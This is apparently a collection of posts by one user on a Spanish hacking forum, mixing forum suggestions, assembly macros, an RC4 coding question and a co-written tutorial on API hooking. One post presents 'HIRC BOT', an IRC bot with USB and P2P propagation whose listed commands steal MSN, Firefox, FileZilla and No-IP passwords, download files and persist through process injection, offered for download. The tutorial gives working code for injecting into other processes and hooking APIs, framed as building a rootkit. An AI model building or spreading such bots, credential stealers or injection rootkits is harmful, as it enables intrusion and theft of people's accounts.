Temas

Buenas,

Bueno algunos me recordaran otros ni me conocerán .. me llamo Marco Almonacid Marchant apodado YST de nacionalidad chilena y estoy en este foro desde el 2009 fui moderador del área de asm en su tiempo .


Ya basta de presentaciones el objetivo con el que cree este post son 2 motivos el primero es pedir disculpa por algunos comportamientos con otros miembros del foro que fueron hostiles ; segundo por que como muchos saben tuve un sin fin de problemas legales por los cuales estuve preso 1 dia y  ya me an preguntado y quiero que por única y ultima vez se toque el tema ya que no me siento para nada orgulloso de estos y prefiero que me conozcan por mis aportes en el foro que por estos delitos , y eso ...



Un gusto estar de nuevo con ustedes y a programar  .

SALUDOS

Alerta de Tsunami Se esperan olas en las próximas horas desde Mexico hasta Chile causadas por un terremoto en Japón de 8.9 grados.

Hola,

Propongo que se cree un subforo donde uno pueda hacer borradores de tutoriales y post mas largos , la idea es que uno tenga poderes de moderador sobre sus post en ese subforo

Saludos

Mi razon :

• El subforo tiene un tiempo ya valido como para tener que sea 3 paginas y solo tiene 9 temas (ni media pagina )
  
  Saludos

Hola,

Me podrian explicar en que consiste el grupo de trabajo ( nuevo rango en el foro ) , ¿que permisos tienen? ,¿que hacen en espacia? ,etc..

Saludos

ej:
http://foro.elhacker.net/profiles/skeletron-u338568.html

EDIT:

encontre la razón de que existan

http://foro.elhacker.net/net/encuesta_grupo_de_trabajo-t266861.0.html;msg1305745#msg1305745

[¿Que es ?]

HIRC BOT v1.1 beta

• ¿Que es ?
  HIRC BOT es un Bot IRC programado en ASM con propagacion USB y P2P(emule y ares )
  
• ¿Cuales comandos tiene?
  
  Código (asm) [Seleccionar] Expandir
  
;######################################################
;######################################################
;#              COMANDOS                              #
;#!CC <canal> <clave>  = Se conecta a otro canal      #
;#!RB                  = Reinicia el server           #
;#!SB                  = Saca el bot                  #
;#!SC                  = Nos desconectamos del canal. #
;#!IP                  = Obtiene la IP del BOT        #
;#!SO                  = Obtiene el sistema operativo #
;#!PN                  = Obtiene el nombre del PC     #
;#!UN                  = Obtiene el nombre de usuario #
;#!HL                  = Obtiene las unidades del PC  #
;#!IG                  = Obtiene informacion del PC   #
;#!LE                  = Obtiene el idioma del PC     #
;#!DF <URL>            = Descarga un archivo.         #
;#!CM                  = Obtiene claves del MSN       #
;#!CF  <URL>(opcional) = Claves Firefox               #
;#!ZF                  = Claves FileZilla             #
;#!CP <PHP>            = Cambia el nick a el pais     #
;#!CN                  = Obtiene claves del No-IP.    #
;#!RA  <File>          = Se propaga por p2p.         #
;######################################################
;###################################################### 

  
  
• ¿Para que son el resto de los archivos?
  Son para el comando "!CC" que utiliza el PHP para detectar el pais de que es el BOT
  
  
• Pequeña explicación sobre cositas del BOT
  El bot crea un proceso del notepad donde inyecta codigo para que si el se cerrara el proceso del BOT se vuelva a abrir.
  
  El BOT tiene propagacion p2p por Emule y ARES.
  
  Las claves del Firefox son de la Ultima version el 3.5.x .
  
  Hay un comando que es el !CD que obtiene las claves del DynDNS que se me olvido ponerlo .
  Descargar

Hola,

Debido a la gran cantidad de gente que piensa que la sección de Programación VB es tambien de programación en .NET, se me ocurrio que se podria poner un mensaje tipo como lleba el Subforo de seguridad un mensajito que diga "No se trata .NET en este foro"

Saludos

[Aplica un NOT a cada byte haciendo una cifrado .]

En el siguiente post publicare macros que me parecieron interesante , no soy el autor si alguien conoce al autor original avisarme y lo colocare .

Aplica un NOT a cada byte haciendo una cifrado .

Código (asm) [Seleccionar] Expandir


macro encryptNOT dstart,dsize {
   local ..char,..key,..shift
   repeat dsize
       load ..char from dstart+%-1
       ..char = byte  not ..char
       store ..char at dstart+%-1
   end repeat
}  


Aplica un XOR a cada byte haciendo una cifrado .

Código (ASM) [Seleccionar] Expandir

macro crypt start,length,key {
 local x,y,key_size,key_pos
 virtual at 0
   db key
   key_size = $
 end virtual
 key_pos = 0
 repeat length
   load x from start+%-1
   virtual at 0
     db key
     load y from key_pos
   end virtual
   x = x xor y
   store x at start+%-1
   key_pos = key_pos + 1
   if key_pos >= key_size
     key_pos = 0
   end if
end repeat
}

Mas info : http://board.flatassembler.net/topic.php?t=8429

Código (asm) [Seleccionar] Expandir

macro JCOND label,v1,c,v2
{
match any,c
\{
   cmp v1,v2
   j\#c label
\}
match ,c
\{
   PARSECOND parsed@cond,v1
   match cond,parsed@cond \\{ JCONDEXPR label,cond \\}
\}
}

macro   .for [args]
{
common
  local ..for
  local ..endfor
  local ..continue
  __FOR equ ..for
  __ENDFOR equ ..endfor
  __CONTINUE equ ..continue

  macro for_expr [argsa]
  \{
   cont = 1
   if cont
    match arg=+==val, argsa \\{
    add arg, val
    cont = 0\\}
   end if
   if cont
    match arg=-==val, argsa \\{
    sub arg, val
    cont = 0\\}
   end if
   if cont
    match arg=--, argsa \\{
    dec arg
    cont = 0\\}
   end if
   if cont
    match arg=++, argsa \\{
    inc arg
    cont = 0\\}
   end if
   if cont
    match arg=<<val, argsa \\{
    shl arg, val
    cont = 0\\}
   end if
   if cont
    match arg=>>val, argsa \\{
    shr arg, val
    cont = 0\\}
   end if
   if cont
    match arg=|==val, argsa \\{
    or arg, val
    cont = 0\\}
   end if
   if cont
    match arg=&==val, argsa \\{
    and arg, val
    cont = 0\\}
   end if
   if cont
    match arg=^==val, argsa \\{
    xor arg, val
    cont = 0\\}
   end if
   if cont
    match arg==val, argsa \\{
    mov arg, val
    cont = 0\\}
   end if
  \}

define current args

  match =(a=:b=:c=), current
  \{
    for_expr a
    JNCOND __ENDFOR, b
  \}
  __FOR:

  macro .break
  \{
    jmp __ENDFOR
  \}

  macro .continue
  \{
    jmp __CONTINUE
  \}

  macro .endf
  \{
    match =(a=:b=:c=), current
    \\{
      __CONTINUE:
      for_expr c
      JCOND __FOR, b
      __ENDFOR:
      restore __FOR
      restore __ENDFOR
      restore __CONTINUE
      restore current
    \\}
  \}
}
En construcción

[YST & Hacker_Zero]

Taller de Api hooking

Este texto se puede publicar libremente siempre que se mantenga el autor.

Autores:YST & Hacker_Zero

Conocimientos previos:

• ASM        
  
• Manejo minimo de las apis de windows
  
• Formato PE [Metodo IAT patch]
  

Contenido

• 1.-Introducción
  
  
• 2.-Inyección de codigo
  
• 2.1-Teoría
  
• 2.2-Relización
  
  
• 3.-Metodo de trampolín
  
• 3.1-Teoría
  
• 3.2-Relización
  
  
• 4.-Metodo de IAT patch
  
• 4.1-Teoría
  
• 4.2-Relización
  
  
• Despedida
  
  
  
  
  1.Introducción
  
  En este taller se explicara el api hooking, mediante 2 metodos distintos conocidos como el metodo trampolín y el metodo IAT patch .
  
  El api hooking para quien no lo conosca es basicamente en modificar el comportamiento de una api por lo que queramos nosotros.
  
  Todo el taller sera hecho usando el lenguaje ensamblador, a si que si no dominas el lenguaje aunque sea en un nivel basico no comprenderas todo el taller por eso recomiendo leer un poco sobre este lenguaje antes de leer el taller .
  
  
  
  2.Inyección de codigo
  
  
  
  2.1Teoría
  
  La inyección de codigo consiste en hacer que un codigo que nosotros programemos sea ejecutado por un proceso externo.
  
  Para esto se crea un hilo con CreateRemoteThread en el proceso externo teniendo su PID ( Process ID ) y se escriber el codigo inyectado en el proceso creando un espacio con VirtualAllocEx y luego escribimos en el espacio generado con WriteProcessMemory .
  
  
  
  
  2.1Relización
  
  
  Para darnos una idea de la inyección de codigo inyectaremos un codigo que muestre un mensaje mediante la api MessageBoxA .
  
  Entonces inyectaremos la siguiente función
  
  Código (asm) [Seleccionar] Expandir
  ;pGetProcAddress = Puntero a la api GetProcAddress
proc FuncionInyectada,pGetProcAddress
locals ; Definimos las variables locales
BaseKernel32 dd ?    ;MZ de la kernel32.dll
endl
;Leemos el PEB  para obtener la base del kernel
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll

 stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
 stdcall eax,"user32.dll" ;Cargamos la user32.dll
  stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  stdcall eax,0,0,0,0     ;Mostramos el mensaje
  leave ;Terminamos
    ret ;
    endp
    FinFuncion:
  
  Para evitar lios los procesos donde trabajaremos seran creados por nosotros mismo mediante la api CreateProcessA y en nuestro code usaremos la siguiente función que mediante esta api crea un proceso.
  
  Código (ASM) [Seleccionar] Expandir
  
;pExe = Nombre del exe
;PI = Puntero a una estructura de PROCESS_INFORMATION
proc LanzarHilo,pExe,PI   ;Función que cre un proceso
   invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
   mov edi,eax
invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
   invoke GlobalFree,edi
   ret
endp  
  
  El siguiente paso es crear un espacio en el proceso donde escribiremos nuestra función , para eso usaremos la api  VirtualAllocEx y igual que en la creación del proceso para comodidad nos aremosa una comoda función que use esta api y nos retorne la posición donde se puede escribir
  
  Código (asm) [Seleccionar] Expandir
  
;pTamaño = Tamaño necesitado
;pPid = Id del proceso.
proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
   invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   ret
endp    
  
  Luego de generar el espacio en el proceso , escribimos nuestra funcion con WriteProcessMemory y creamos el hilo remoto con CreateRemoteThread pasandole por el parametro la direccion del GetProcAddress que usamos en nuestra función inyectada, el codigo nos queda mas o menos a si.
  
  
  Código (asm) [Seleccionar] Expandir
  
; FinFuncion-FuncionInyectada = tamaño de la funcion
include 'win32ax.inc' ;Incluimos la libreria
.code ; Declaramos la sección de codigo
proc start ; Entry Point
   locals
       PI                      PROCESS_INFORMATION   ;Información del Proceso
       DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
   endl
stdcall LanzarHilo,"notepad.exe",addr PI ; Creamos el proceso donde inyectaremos , el proceso es de un notepad.
stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[PI.hProcess]     ;Creamos un espacio donde podremos esacribir
 mov [DirFun],eax                    ;Guardamos la direccion donde podemos escribir en DirFun
     invoke WriteProcessMemory,[PI.hProcess],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0  ;Escribimos nuestra funcion en el proceso.
     invoke CreateRemoteThread,[PI.hProcess],0,0,[DirFun],[GetProcAddress],0,0  ;Creamos un hilo en el proceso pasandole por parametro ola direccion de GetProcAddress
ret
endp
proc LanzarHilo,pExe,PI   ;Función que cre un proceso
   invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
   mov edi,eax
invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
   invoke GlobalFree,edi
   ret
endp
;pTamaño = Tamaño necesitado
;pPid = Id del proceso.
proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
   invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   ret
endp
;pGetProcAddress = Puntero a la api GetProcAddress
proc FuncionInyectada,pGetProcAddress
locals ; Definimos las variables locales
BaseKernel32 dd ?    ;MZ de la kernel32.dll
endl
;Leemos el PEB  para obtener la base del kernel
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll

 stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
 stdcall eax,"user32.dll" ;Cargamos la user32.dll
  stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  stdcall eax,0,0,0,0     ;Mostramos el mensaje
  leave ;Terminamos
    ret ;
    endp
    FinFuncion:
.end start ; Declaramos el Import data y el Entry Point    

  
  
  
  2.Metodo de trampolín
  
  
  
  2.1-Teoría
  
  El metodo trampolín consiste en hacer que la api salte a nuestra función , esto se consigue cambiando los primeros bytes de la api por un codigo que salte a nuestra función ( por eso lo de trampolín) .
  
  Para lograrlo se inyecta un codigo que saca el MZ de la dll mediante la api GetModuleHandle , se saca la dirección de la api con GetProcAddress y luego se le da permisos de escritura a los 6 primeros bytes con VirtualProtectEx .
  
  Muchos se preguntaran por que a los 6 primeros bytes , esto es por que escribiremos un
  
  Código (asm) [Seleccionar] Expandir
  push DireccionDeNuestraFuncion
ret
  que esto ocupa un total de 6 bytes ( 0x68 = PUSH[1byte] , 1 Dword la posicion y 0xC3 = Ret[1 byte] ) , para los que no sepan el ret hace algo que se podria describir como un "pop EIP" haciendo un salto a lo ultimo pusheado en la pila.
  
  Para lograr hookear se necesita estar en su mismo espacio en memoria , para esto se inyectara de la manera anteriormente explicada el codigo que hace el hook.
  
  
  
  2.2-Realización
  
  Para explicar un poco mas la idea nos "autohookearemos" , la api que hookearmos en nosotros mismos es la api lstrlenA de la libreria kernel32.dll y haremos que devuelva siempre 0.
  
  Ya explicado lo que vamos a hacer nos ponemos en marcha   .
  
  
  Lo primero que haremos sera sacar la posición de la libreria kernel32.dll usando la api GetModuleHandle
  , de la siguiente manera:
  
  
  Código (asm) [Seleccionar] Expandir
  include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
ret ; salimos
.end start ;Establecemos el EntryPoint y el

                                                                 
  
  Luego obtendremos la dirección de la api lstrlenA( la que hoockearemos ) mediante la api GetProcAddress de la siguiente manera
  
  
  Código (asm) [Seleccionar] Expandir
  
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
ret ; salimos
.end start ;Establecemos el EntryPoint y el

                                                     

  
  Luego le tenemos que dar permisos de escritura a los primeros 6 bytes de la api lstrlenA que tenemos guardada su posición previamente en ebx , entonces para esto usaremos la api VirtualProtectEx de la siguiente manera
  
  
  Código (asm) [Seleccionar] Expandir
  
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx

lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA

ret ; salimos
.end start ;Establecemos el EntryPoint y el

                                             
  La fuunción con que remplazaremos la lstrlenA sera la siguiente
  
  Código (asm) [Seleccionar] Expandir
  
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp  

  
  Ya teniendo la función y permisos de escritura , escribiremos nuestro codigo que saltara hacia nuestra función quedando de la siguiente manera nuestro code
  
  Código (asm) [Seleccionar] Expandir
  
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx

lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA

   mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
   inc ebx   ;Nos vamos al segundo byte de lstrlenA
   mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
   add ebx,4         ;Nos saltamos 4 bytes(1 dword)
   mov byte[ebx],0xC3;Escribimos el ret
ret ; salimos
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp
.end start ;Establecemos el EntryPoint y el import data                                                

  
  En este codigo la api ya estaria hookeada , para comprobarlo mostraremos un MessageBox con lo que devuelve ( Si no devuelve 0 daria error el MessageBoxA ).
  
  
  Código (asm) [Seleccionar] Expandir
  include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx

lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA

   mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
   inc ebx   ;Nos vamos al segundo byte de lstrlenA
   mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
   add ebx,4         ;Nos saltamos 4 bytes(1 dword)
   mov byte[ebx],0xC3;Escribimos el ret
   invoke lstrlen,"Hola" ; Esto deberia devolver 4
   invoke MessageBox,0,eax,0,0 ; Mostramos lop que devuelve , si se muestra el MessageBox LO LOGRAMOS!!
ret ; salimos
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp
.end start ;Establecemos el EntryPoint y el import data

                                 
  
  En la idea la unica diferencia entre el Autohook que hicimos y un Hook a otro proceso es que tenemos que inyectar nuestro codigo que hace hook en el proceso  .
  
  
  Ya sabiendo inyectar y teniendo la idea de como se hace el API Hook, vamos a hacer algo más divertido, inyectaremos nuestro código en otro proceso para modificar su comportamiento, en éste caso Hookearemos MessageBoxA. Para ésto será necesario crear un buffer con los 5 bytes (en éste caso) que pisamos en la API, para así, cuando queramos llamar a la API original poder hacerlo sin que la llamada caiga tambien en nuestra función  . Con una imagen queda más claro  :
  
  
  
  Por qué 5 bytes? Porque a la hora de modificar los bytes del comienzo de la Api, no podemos cortar instrucciones, y en el caso de Messagebox, la Api comienza por:
  
  
  Código (asm) [Seleccionar] Expandir
  
       mov edi,edi
        push ebp
        mov ebp,esp

  
  Eso ocupa exactamente 5 bytes, si lo reemplazamos por un jmp dirección, no cortaríamos ninguna instrucción. Pero ésto no es una constante, no todas las apis empiezan por lo mismo, por lo que en cada Api que vayamos a hookear, necesitaremos echar mano del debuger para fijarnos de no cortar ningúna instrucción  .
  
  MANOS A LA OBRA!
  
  Lo primero será inyectar nuestra función en el proceso que queremos Hookear:
  
  
  Código (asm) [Seleccionar] Expandir
  
proc start
   locals
       ProcessName             db                              "MessageBoxA.exe",0
   endl

   stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
   cmp eax,-1
   jne salir

   invoke MessageBoxA,0,"No se encontró el proceso!",0,0

   salir:
   invoke ExitProcess,0
endp

proc Inyectar,ProcessName,Tamaño,Funcion,Datos
   locals
       struct PROCESSENTRY32
           dwSize                  dd ?
           cntUsage                dd ?
           th32ProcessID           dd ?
           th32DefaultHeapID       dd ?
           th32ModuleID            dd ?
           cntThreads              dd ?
           th32ParentProcessID     dd ?
           pcPriClassBase          dd ?
           dwFlags                 dd ?
           szExeFile               rb MAX_PATH
       ends

       pInfo                   PROCESSENTRY32                  ?
       Handle                  dd                              ?
       PID                     dd                              ?
       DirFuncion              dd                              ?
       hProcess                dd                              ?
   endl

   ;Obtenemos el PID del proceso
   invoke CreateToolhelp32Snapshot,0x00000002,0
   mov [Handle],eax

    mov eax,sizeof.PROCESSENTRY32
    mov [pInfo.dwSize], eax

   BuclePid:
       invoke Process32Next,[Handle],addr pInfo
       cmp eax,0
       je FinProcBuclePID ;No hay más procesos
       invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
       cmp eax,0
       jne BuclePid
       jmp FinBuclePid

   FinProcBuclePID:
   invoke CloseHandle,[Handle]
   mov eax,-1
   ret

   FinBuclePid:
   invoke CloseHandle,[Handle]
   push [pInfo.th32ProcessID]
   pop [PID]

   ;Lazamos el proceso
   invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax

   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax

   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0

   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[GetProcAddress],0,0

   ret
endp                    

  
  No explicaré el código de inyección, con los comentarios es más que suficiente, ya lo explicó mi compañero YST y se supone que dominamos la inyección y queremos hacer un Rootkit  .
  
  Ahora lo interesante, la función que inyectaremos:
  
  
  Código (asm) [Seleccionar] Expandir
  
proc FuncionInyectada,pGetProcAddress

    locals
        BaseKernel32                   dd               ?
        OriginalProtection             dd               ?
    endl

    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax

    ;Obtenemos la dirección de MessageBoxA
    stdcall [pGetProcAddress],[BaseKernel32],"GetModuleHandleA"
    mov edi,eax
    stdcall edi,"USER32.DLL"
    stdcall [pGetProcAddress],eax,'MessageBoxA'

    ;ebx contendrá la dirección de la Api MessageBoxA
    mov ebx,eax

    ;Obtenemos la dirección de VirtualProtect y damos permisos
    ;de lectura, escritura y ejecución a los 5 primeros bytes de la Api
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection

    ;Calculamos el delta offset para saber en que
    ;dirección nos estamos ejecutando
    call delta
    delta:
    pop edx
    sub edx,delta  ;edx=delta

    ;Lo guardamos en la pila para no perderlo
    push edx

    ;Mostramos un Messagebox para indicar que nos inyectamos correctamete en el proceso
    ;(Obtenemos la dirección de las variables a partir del delta offset)
    mov eax,edx
    add edx,RMensaje             ;Obtenemos la direccion de las variables RMensaje y msgTitulo
    add eax,msgTitulo             ;a partir del delta offset
    stdcall ebx,0,edx,eax,0    ;ebx=puntero MessageBoxA

    ;Recuperamos el valor de delta de la pila y lo volvemos a guardar
    pop edx
    push edx

    ;Guardamos la dirección de MessageBoxA en la variable dirMessageBoxA
    add edx,dirMessageBoxA
    mov dword[edx],ebx

    pop edx  ;Recuparamos el valor de delta offset de la pila

    ;Modificamos los 5 primeros bytes de la API por un jmp a FuncionHook
    mov byte[ebx],0xE9   ;0xE9=jmp
    inc ebx
    mov ecx,FuncionHook
    add ecx,edx
    sub ecx,ebx
    sub ecx,4
    mov dword[ebx],ecx   ;la dirección a la que saltará

    ret          ;Terminamos, ya hemos modificado el principio de la api,
                  ;cuando el programa llame a MessageBoxA, saltará a FuncionHook

;--------------------------------------------------------------------------------------------------------------------------------------------

    ;Contiene los 5 primeros bytes de la Api MessageBoxA y una rutina para saltar a MessageBox+5
    ApiOriginal:
        ;edx=delta
        mov edi,edi         ; Primeros bytes de la api MessageBoxA
        push ebp            ; que pisamos poniendo nuestro salto,
        mov ebp,esp       ;

        add edx,dirMessageBoxA  ;Obtenemos la dirección de MessageBoxA leyendo
        mov eax,dword[edx]       ;la variable dirMessageBoxA y la guardamos en eax
        add eax,5           ;Nos desplazamos 5 bytes
        jmp eax             ;Saltamos a MessageBoxA+5

;--------------------------------------------------------------------------------------------------------------------------------------------

    ;Función a la que salta el programa cuando se llama a la API hookeada
    FuncionHook:
        ;Calculamos el delta offset
        call delta2
        delta2:
        pop edx
        sub edx,delta2  ;edx=delta

        ;Limpiamos la pila de los parametros originales
        pop eax
        mov ebx,eax ;Guardamos la dirección de retorno en ebx
        pop eax    
        pop eax
        pop eax
        pop eax

        push edx edx   ;Copiamos el delta a eax y ecx
        pop ecx eax

        ;pusheamos nuestros parámetros obteniendo la dirección de las variables
        ;a partir del delta offset
        push 0
        add ecx,msgTitulo
        push ecx
        add eax,ApiHookedMensaje
        push eax
        push 0

        ;Pusheamos la dirección de retorno
        push ebx

        ;Obtenemos la dirección de ApiOriginal
        mov ecx,edx
        add ecx,ApiOriginal

        ;Saltamos a ApiOriginal
        jmp ecx

;-------------------------------------------------------------------------------------------------------------------------------------------

        RMensaje                       db               "Soy el RootKit, me inyecté! :D!",0
        ApiHookedMensaje               db               "Soy un MessageBoxA Hookeado! :D!",0
        msgTitulo                      db               "xD",0
        dirMessageBoxA                 dd               ?
endp                

  
  Con eso tendríamos nuestro Rootkit terminado usando el método trampolín:
  
  Éste es el ejecutable Llamando a MessageboxA:
  
  
  
  Ejecutamos el Rootkit:
  
  
  
  Y cuando el programa hace MessageBoxa(0,"No estoy Hookeado !","",0) sucede ésto:
  
  
  
  Subo el código fuente completo: Descargar
  
  
  
  En construcción
  
  
  

Un exelente libro de ASM

http://rapidshare.com/files/161065925/Assembly_Language_For_Intel_based_computers.zip

Alguien me podria explicar para que sirve el boton mas  Que si lo apreto solo me oscurece la pantalla 

SAludos

Hola ,

Si uno usa el geshi de ASM y pone por ejemplo una caomilla simple dentro de dos comillas dobles te pone todo el code como si fuera dentro de esa comilla no se si se me entiende
http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520

PD : Creo que ese es el error pero no estoy seguro

Hola,

pasando el algoritmo de RC4 a asm tengo el siguiente problema y es que al hacer un xor a un byte el otro operando ( o como se diga ) no puede ser un dword haber si alguien me ayuda a solucionar el problema

Código (asm) [Seleccionar] Expandir



include 'win32ax.inc'
.data
cBuffer db 'Hola',0
cClave db 'Hola',0
s db 257 dup(0)
b rb 20
largo dd ?
.code
start:
stdcall Len,cBuffer
dec eax
push eax
pop [largo]
;   For i = 0 To 255
; DoEvents
; s(i) = i
;   Next i
mov eax,s
mov byte[eax],0
inc eax
mov ecx,256
.bucle1_:
mov bl,byte[eax-1]
inc bl
mov  byte[eax] ,bl
inc eax
loop .bucle1_

;    For i = 0 To 255
;        DoEvents
;        j = (j + s(i) + Key(i Mod Len(sKey))) Mod 256
;        tmp = s(i)
;        s(i) = s(j)
;        s(j) = tmp
;    Next i
;j = ebx
;ja = esi
;I = edi
xor ebx,ebx
mov edi,-1
.bucle2_:
inc edi
xor esi,esi
mov esi,ebx
movzx eax,byte[s+edi]
add esi,eax
stdcall lMod,edi,<stdcall Len,cClave>
movzx eax,byte[cClave+eax]
add esi,eax
stdcall lMod,esi,256
mov ebx, eax
mov eax,s
mov cl,byte[eax+ebx] ; s(j)
mov ch,byte[eax+edi] ; s(i)
mov byte[eax+edi],cl
mov byte[eax+ebx],ch
cmp edi,255
jne .bucle2_
inc edi


;   For l = 0 To UBound(Buffer)
;       DoEvents
;       i = (i + 1) Mod 256
;       j = (j + s(i)) Mod 256
;       tmp = s(i)
;       s(i) = s(j)
;       s(j) = tmp
;       Buffer(l) = Buffer(l) Xor (s((s(i) + s(j)) Mod 256))
;   Next l
xor esi,esi  ;esi = l
dec esi ; esi = -1
.bucle3_:
inc esi
mov eax,edi
inc eax
stdcall lMod,eax,256
mov edi,eax
mov eax,ebx
xor ecx,ecx
movzx ecx,byte[s+edi]
add eax,ecx
stdcall lMod,eax,256
mov ebx,eax
mov eax,s
mov cl,byte[eax+ebx] ; s(j)
mov ch,byte[eax+edi] ; s(i)
mov byte[eax+edi],cl
mov byte[eax+ebx],ch
mov eax,cBuffer
add cl,ch
movzx eax,cl
add eax,s
stdcall lMod,eax,256
mov edx,cBuffer
xor byte[edx+esi],eax      ; EL Problema esta aqui

cmp esi,[largo]
jne .bucle3_


invoke ExitProcess,0
proc lMod,c1,c2
push edx
xor edx,edx
mov eax,[c1]
idiv [c2]
push edx
pop eax
pop edx
ret
endp

proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start


En el suboforo de analisis y diseño de malware se borraron muchos post quedando post del 2008 , alguien me podria explicar que paso ?

Saludos

http://foro.elhacker.net/analisis_y_diseno_de_malware-b17.0/

Hola,

Mi pregunta es la  siguiente , alguien sabe si se pueden crear .lib en Visual basic ?

Saludos

Hola,
Creo este Post para ofrecerme a crear la función que necesites(de manejo de cadenas,etchivos,etc.. ), el formato para pedir una función es el siguiente

• Sistema operativo
  
• Lo que quieras que haga la función.
  
• Parametros que le pases a la función
  
  
  PD: Todo el mundo pùede fabricar alguna función que se pida.

[Programas]

Programas

• Humilde Visor de claves de el msn 0.1v by YST  
       Descripción: Programa que te muestra todas las claves y cuentas guardadas en el Msn Live.
                       
  
  
• Humilde Visor de claves de el Firefox 0.1v by YST
       Descripción: Programa que te muestra las claves guardadas en el Firefox 3
   
   
  
• CrearImport
